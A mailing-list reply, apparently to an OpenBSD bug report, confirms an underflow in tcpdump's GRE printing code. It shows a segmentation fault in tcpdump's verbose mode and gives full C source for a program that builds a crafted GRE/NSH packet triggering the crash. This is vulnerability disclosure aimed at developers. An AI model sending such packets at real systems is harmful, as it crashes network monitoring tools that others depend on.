On Mon, Feb 20, 2023 at 02:39:45PM +0100, p...@delphinusdns.org wrote: > >Synopsis: possible underflow in tcpdump/print-gre.c > >Category: user > >Environment: > System : OpenBSD 7.2 > Details : OpenBSD 7.2 (GENERIC.MP) #2: Thu Nov 24 23:53:03 MST 2022 > > r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP > > Architecture: OpenBSD.arm64 > Machine : arm64 > >Description: > In tcpdump/print-ether.c length is initialized as h->len (struct > pcap_pkthdr). > snapend is based on p + h->caplen (struct pcap_pkthdr), which is based > on > snaplen. > > In tcpdump/print-gre.c u_int l is derived from snapend - p (line 123) > and great care is taken that l does not underflow to the u_int maximum. > However length is not checked for underflow and it is possibly > initially smaller than snapend - p (snaplen). It is then passed to > other > functions under line number 234. > > >How-To-Repeat: > never tested in practice, code-reading only. > >Fix: > length should be checked for underflow. To do this save length at > start of function and then test this whether length increased since it > is u_int it will underflow into the high 2 billion region.
OK, I turned this around into practice. It's not possible with most protocols but with GRE and NSH it is possible to segfault tcpdump if the -v options is used (often much so the case, at least for me). Here is a paste from my tcpdump: root@echo# and not port 587 and not port 853 < tcpdump: listening on bse0, link-type EN10MB 10:20:29.998203 01:01:01:01:01:01 ff:ff:ff:ff:ff:ff 0800 290: 192.168.177.13 > 255.255.255.255: gre [R] 984f off 0x0 (rtaf=0x0) NSH spi 0 si 0 md-type-reserved nsh-unknown-proto-0x00 Segmentation fault root@echo# history | tail -2 713 tcpdump -e -v -n -X -s 1000 -i bse0 not port 1022 and not port 465 and not port 443 and ip and not port 6697 and not port 25 and not port 80 and not port 8053 and not port 995 and not port 53 and not port 123 and not port 587 and not port 853 I constructed the bad malicious packet with a spoofer that I wrote 22 years ago. How you spoof this packet is to me irrelevant, I can share the spoofer only to @openbsd.org addressees (I may have shared it before). Here is the program that makes the payload: /* cc -g -o payload payload.c, ./payload > payload.data ./cb -l em0 -R payload.data -v */ #include <sys/types.h> #include <sys/socket.h> #include <net/ethertypes.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <net/if_gre.h> #include <netinet/if_ether.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit * numbers */ int ip_cksum(u_int16_t *p, int len) { register int nleft = len; register u_int16_t *w = p; register int sum = 0; u_int16_t answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } #define SIZERED 0xe8 int main(void) { char packet[1024]; struct ether_header *eth; struct ip *ip, *ip2; struct gre_h { uint16_t flags; uint16_t proto; uint16_t sum; uint16_t offset; uint16_t af; uint8_t sreoff; uint8_t srelen; char longp[SIZERED]; uint16_t af2; uint8_t pad1; uint8_t pad2; } *gre; struct nsh_h { uint32_t base; uint32_t sp; } *nsh; memset(&packet, 0, sizeof(packet)); char *p = &packet[0]; eth = (struct ether_header *)p; memset(p, 0xff, 6); memset(ð->ether_shost[0], 0x1, 6); eth->ether_type = htons(ETHERTYPE_IP); p += sizeof(struct ether_header); ip = (struct ip *)p; ip->ip_hl = 5; ip->ip_v = 4; ip->ip_len = htons(sizeof(struct ip)); ip->ip_ttl = 0xff; ip->ip_p = IPPROTO_GRE; ip->ip_sum = 0; ip->ip_dst.s_addr = inet_addr("255.255.255.255"); ip->ip_src.s_addr = inet_addr("192.168.177.13"); p += sizeof(struct ip); gre = (struct gre_h *)p; gre->flags = htons(0x4000); gre->proto = htons(ETHERTYPE_NSH); gre->sum = 0; gre->offset = 0; gre->af = 0; gre->sreoff = 0; gre->srelen = SIZERED; gre->af2 = 0; gre->pad1 = 0; gre->pad2 = 0; p += sizeof(struct gre_h); nsh = (struct nsh_h *)p; p += sizeof(struct nsh_h); ip->ip_sum = ip_cksum((u_int16_t *)ip, sizeof(struct ip)); write(STDOUT_FILENO, packet, p - &packet[0]); } Best Regards, -peter